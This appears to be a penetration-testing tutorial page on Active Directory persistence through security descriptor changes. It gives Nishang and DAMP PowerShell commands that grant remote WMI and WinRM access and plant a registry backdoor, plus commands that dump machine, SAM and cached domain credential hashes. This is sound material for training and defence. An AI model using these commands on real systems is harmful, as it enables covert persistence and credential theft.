34 lines
2.1 KiB
Markdown
34 lines
2.1 KiB
Markdown
# Security Descriptors
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## Security Descriptors
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Security Descriptor Definition Language \(SDDL\) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
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The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
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Then, this persistence technique is based on the hability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
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You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
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```bash
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Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
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Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
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```
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Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
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```bash
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Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
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Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
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```
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Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**:
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```bash
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Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
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Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
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Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
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Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
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```
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